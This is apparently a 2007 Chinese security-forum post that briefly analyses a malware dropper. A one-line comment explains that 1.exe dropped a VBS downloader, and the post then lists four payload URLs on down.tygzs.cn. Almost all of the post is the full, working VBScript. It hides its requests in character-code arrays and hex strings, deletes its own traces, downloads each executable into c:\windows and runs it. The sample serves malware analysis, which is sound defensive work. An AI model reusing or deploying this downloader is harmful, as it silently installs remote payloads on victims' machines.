1.exe解放了一个c:\a.vbs,竟然是vbs下载者,剩下的2.exe等都是这个鬼东西下的
http://down.tygzs.cn/dowm2321/2.exe
http://down.tygzs.cn/dowm2321/3.exe
http://down.tygzs.cn/dowm2321/4.exe
http://down.tygzs.cn/dowm2321/5.exe
- On Error Resume Next
- Set Post = CreateObject("Msxml2.XMLHTTP")
- Set Shell = CreateObject("Wscript.Shell")
- Set fso = CreateObject("Scripting.FileSystemObject")
- If fso.FileExists("c:\a.vbs") Then fso.DeleteFile ("c:\a.vbs")
- wscript.sleep 500
- If fso.FileExists("C:\Documents and Settings\Virtual Machine\Desktop\1.exe") Then fso.DeleteFile ("C:\Documents and Settings\Virtual Machine\Desktop\1.exe")
- Str = Array(80,111,115,116,46,79,112,101,110,32,34,71,69,84,34,44,34,104,116,116,112,58,47,47,100,111,119,110,46,116,121,103,122,115,46,99,110,47,100,111,119,109,50,51,50,49,47,50,46,101,120,101,34,44,48)
- Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End Function
- Execute Num2Str(Str)
- Post.Send()
- Set aGet = CreateObject("ADODB.Stream")
- aGet.Mode = 3
- aGet.Type = 1
- aGet.Open()
- S="614765742E577269746528506F73742E726573706F6E7365426F647929":D="EXECUTE """"":C="&CHR(&H":N=")":DO WHILE LEN(S)>1:IF ISNUMERIC(LEFT(S,1)) THEN D=D&C&LEFT(S,2)&N:S=MID(S,3) ELSE D=D&C&LEFT(S,4)&N:S=MID(S,5)
- LOOP:EXECUTE D
- aGet.SaveToFile "c:\windows\1.exe",2
- wscript.sleep 1000
- Shell.Run ("c:\windows\1.exe")
- Str = Array(80,111,115,116,46,79,112,101,110,32,34,71,69,84,34,44,34,104,116,116,112,58,47,47,100,111,119,110,46,116,121,103,122,115,46,99,110,47,100,111,119,109,50,51,50,49,47,51,46,101,120,101,34,44,48)
- Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End Function
- Execute Num2Str(Str)
- Post.Send()
- Set aGet = CreateObject("ADODB.Stream")
- aGet.Mode = 3
- aGet.Type = 1
- aGet.Open()
- S="614765742E577269746528506F73742E726573706F6E7365426F647929":D="EXECUTE """"":C="&CHR(&H":N=")":DO WHILE LEN(S)>1:IF ISNUMERIC(LEFT(S,1)) THEN D=D&C&LEFT(S,2)&N:S=MID(S,3) ELSE D=D&C&LEFT(S,4)&N:S=MID(S,5)
- LOOP:EXECUTE D
- aGet.SaveToFile "c:\windows\2.exe",2
- wscript.sleep 1000
- Shell.Run ("c:\windows\2.exe")
- Str = Array(80,111,115,116,46,79,112,101,110,32,34,71,69,84,34,44,34,104,116,116,112,58,47,47,100,111,119,110,46,116,121,103,122,115,46,99,110,47,100,111,119,109,50,51,50,49,47,52,46,101,120,101,34,44,48)
- Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End Function
- Execute Num2Str(Str)
- Post.Send()
- Set aGet = CreateObject("ADODB.Stream")
- aGet.Mode = 3
- aGet.Type = 1
- aGet.Open()
- S="614765742E577269746528506F73742E726573706F6E7365426F647929":D="EXECUTE """"":C="&CHR(&H":N=")":DO WHILE LEN(S)>1:IF ISNUMERIC(LEFT(S,1)) THEN D=D&C&LEFT(S,2)&N:S=MID(S,3) ELSE D=D&C&LEFT(S,4)&N:S=MID(S,5)
- LOOP:EXECUTE D
- aGet.SaveToFile "c:\windows\3.exe",2
- wscript.sleep 1000
- Shell.Run ("c:\windows\3.exe")
- Str = Array(80,111,115,116,46,79,112,101,110,32,34,71,69,84,34,44,34,104,116,116,112,58,47,47,100,111,119,110,46,116,121,103,122,115,46,99,110,47,100,111,119,109,50,51,50,49,47,53,46,101,120,101,34,44,48)
- Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End Function
- Execute Num2Str(Str)
- Post.Send()
- Set aGet = CreateObject("ADODB.Stream")
- aGet.Mode = 3
- aGet.Type = 1
- aGet.Open()
- S="614765742E577269746528506F73742E726573706F6E7365426F647929":D="EXECUTE """"":C="&CHR(&H":N=")":DO WHILE LEN(S)>1:IF ISNUMERIC(LEFT(S,1)) THEN D=D&C&LEFT(S,2)&N:S=MID(S,3) ELSE D=D&C&LEFT(S,4)&N:S=MID(S,5)
- LOOP:EXECUTE D
- aGet.SaveToFile "c:\windows\4.exe",2
- wscript.sleep 1000
- Shell.Run ("c:\windows\4.exe")
复制代码
[ 本帖最后由 solcroft 于 2007-6-2 16:12 编辑 ] |